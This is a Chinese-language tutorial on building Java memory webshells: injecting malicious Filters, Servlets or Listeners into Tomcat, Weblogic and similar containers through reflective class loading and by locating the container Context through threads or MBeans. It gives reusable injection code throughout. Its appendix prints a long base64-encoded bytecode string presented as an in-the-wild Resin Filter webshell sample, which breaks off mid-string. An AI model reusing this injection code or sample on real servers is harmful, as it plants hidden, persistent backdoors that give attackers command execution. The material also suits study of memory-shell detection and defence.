普通型Java内存马
之前的文章分了一系列来写内存马,但今天我决定删了重写,并且缩减成这一篇。一部分是因为,之前文章中贴的Demo已经被我整合到了github上,这样文章中就不用大篇幅地贴代码了。另一部分则是重新调试各类中间件的过程中,有了一些新的思考。想把文章写的不那么像调试内存马的过程,而是方法。
github上的每个文件夹都是一个工程,IDEA打开就可以直接调试,具备每种中间件Filter、Servlet、Listener内存马的写法,也就是新手友好。中间件的组件加载过程和运行机制,终究需要动手去调试才能理解,github这个工程的初衷也是为了方便日后每一次对各类中间件的调试。地址:
https://github.com/ax1sX/MemShell
现在,重新写一篇内存马。具体调试过程可以根据中间件把github上的工程下载下来动手尝试。
所谓普通型内存马就是向中间件中注入恶意的Listener、Filter或Servlet。除此之外还有叫做Agent内存马的,之前文章中也提到过了。所有的Java Web程序都遵循JavaEE规范,而Servlet就是规范中的一个。支持此规范的也叫做Servlet容器。无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都可以叫做Servlet容器。它们的请求都是Servlet进行处理的。不同Servlet之间可能有共同的逻辑,这部分可能被抽象成Filter(过滤器),在HTTP请求到达Servlet之前,先被filter预处理。Listener则是监听器,监控事件的发生。三者作为Java Web的三大组件,如果其功能中包含了执行操作系统命令,还可以将命令结果显示出来(简称“回显”),也就是具备了木马的功能。但因为它并不存在于jsp中,而是存在于内存中,所以也就被称为内存马。
通过漏洞向中间件(Tomcat、Weblogic等)中注入内存马,也就是注入Listener、Filter或Servlet到内存中,然后模拟中间件对其进行加载。所以内存马制作的核心就是三步:(1)制作恶意的Listener、Filter或Servlet (2)注入到内存 (3)根据不同的中间件对三者的加载进行模拟。
步骤1——制作恶意的Listener、Filter或Servlet
也就是新建一个类实现Listener、Filter或Servlet接口,重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括:ServletContext、HttpSession、HttpServletRequest
,对Http请求进行监听是更为通用的做法,也就是选取HttpServletRequest
对应的监听器更容易利用,即ServletRequestListener
接口。
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// 恶意代码
}
}
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
// 恶意代码
}
@Override
public void destroy() {}
}
public class MyServlet extends HttpServlet {
public void init(ServletConfig servletConfig) throws ServletException {}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 恶意代码
}
public void destroy() {}
}
步骤2——注入到内存
制作完上述的恶意Listener、Filter、Servlet实现类后,需要注入到内存中,通过类加载器进行。因为目标系统中并不存在这些实现类,所以没法new,那么就通过先将类转换成base64字符串,然后在注入内存前转换成class,来解决这个问题。
ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();
步骤3——根据不同的中间件对三者的加载进行模拟
这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析,然后加载到Context
这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对Context
的实现类不同。例如,Tomcat对其的实现类叫做StandardContext
,Weblogic对其的实现类叫WebAppServletContext
...
(1)web.xml
web.xml也是Java Web规范,各类中间件通用,写法如下:
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.axisx.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.axisx.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/filter</url-pattern> //当访问`/filter`路由时会先被MyFilter拦截,调用MyFilter类的doFilter方法
</filter-mapping>
<listener>
<listener-class>com.axisx.MyListener</listener-class>
</listener>
以Filter为例,StandardContext
涉及到的部分代码如下,已经说明了web.xml如何与代码相对应的。
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
//FilterDef:Filter定义的表示,代表<filter>标签中的内容
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName); //对应<filter-name>
//StandardContext.addFilterDef
this.context.addFilterDef(filterDef);
}
..
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter); // 对应<filter-class>
}
}
public boolean filterStart() {
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来
this.filterConfigs.put(name, filterConfig); //将filterDef放入AppllicationFilterConfig.filterConfigs
}
}
public void addFilterMaps(FilterMaps filterMaps) {
for(i$ = 0; i$ < len$; ++i$) {
urlPattern = arr$[i$];
fmap = new FilterMap(); //对应<filter-mapping>
fmap.setFilterName(filterMaps.getFilterName()); //对应子标签<filter-name>
fmap.setURLPattern(urlPattern); //对应子标签<url-pattern
fmap.setDispatcherTypes(filterMaps.getDispatcherTypes());
this.addFilterMap(fmap);
}
}
所以想要注入一个恶意Filter,代码大致如下:
// 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};
// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 3 创建ApplicationFilterConfig,FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap);
为了保证通用性,上述代码全部用反射来完成。
Filter的操作基本都在StandardContext中,Servlet外层被Wrapper包装,对于Wrapper的赋值操作存在于ContextConfig类中。最终Wrapper也会被添加到StandardContext中。
// ContextConfig.configureContext
private void configureContext(WebXml webxml) {
ServletDef servlet = (ServletDef)i$.next();
Wrapper wrapper = this.context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
wrapper.setOverridable(servlet.isOverridable());
this.context.addChild(wrapper);
}
上述addFilter等方法,filterConfigs等属性都位于StandardContext中(以Tomcat为例)。每个中间件对于Context的实现类,如Tomcat的StandardContext,这个类都是全局唯一的,不能new。那么如何获取?
(2)Context获取
a. 一种是通过request对象,但是有时候页面中获取不到request对象。
request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上
b. 一种是通过类加载器,找到Context对应的类加载器
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader,是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
c. 一种是通过Java特性,例如MBean。Tomcat获取MBean可以看之前的文章:https://www.jianshu.com/p/d94cf9ac732d
这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime
,用于运行时管理,它采用单例模式设计,只有一个对象能够被外界访问,通过theOne
方法可以获取。该类的children中有很多MBean的实现类。关于应用管理的是ApplicationRuntimeMBeanImpl
,其中的WebAppRuntimeMBeanImpl
的context属性可以获取到WebAppServletContext
。
根据上图可以看到获取思路为ServerRuntime.children
-> ApplicationRuntimeMBeanImpl.children
-> WebAppRuntimeMBeanImpl.context
,
d. 一种是通过线程。这也是最为常用的方式。以Tomcat为例,架构如下。连接器是用来接收请求的。
Tomcat架构
Thread.currentThread().getThreadGroup();看到当前线程如下, 会发现有一个是走的Acceptor。
Threads
按照Tomcat架构的逻辑逐层寻找,最终能找到StandardContext。
Thread -> StandardContext
这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request,然后用request找到Context
Thread -> request
然后获取Context就写成了如下的反射代码
ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {
if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){
Field tfield=thread.getClass().getDeclaredField("target");
tfield.setAccessible(true);
Object NioEndpoint$=tfield.get(thread);
...
}
}
最后,将上述内容连起来,制作一个恶意的Listener、Filter或者Servlet,注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载。
附录1—在野样本分析
最后,补充一下,之前网上流传的一串野生Resin Filter
String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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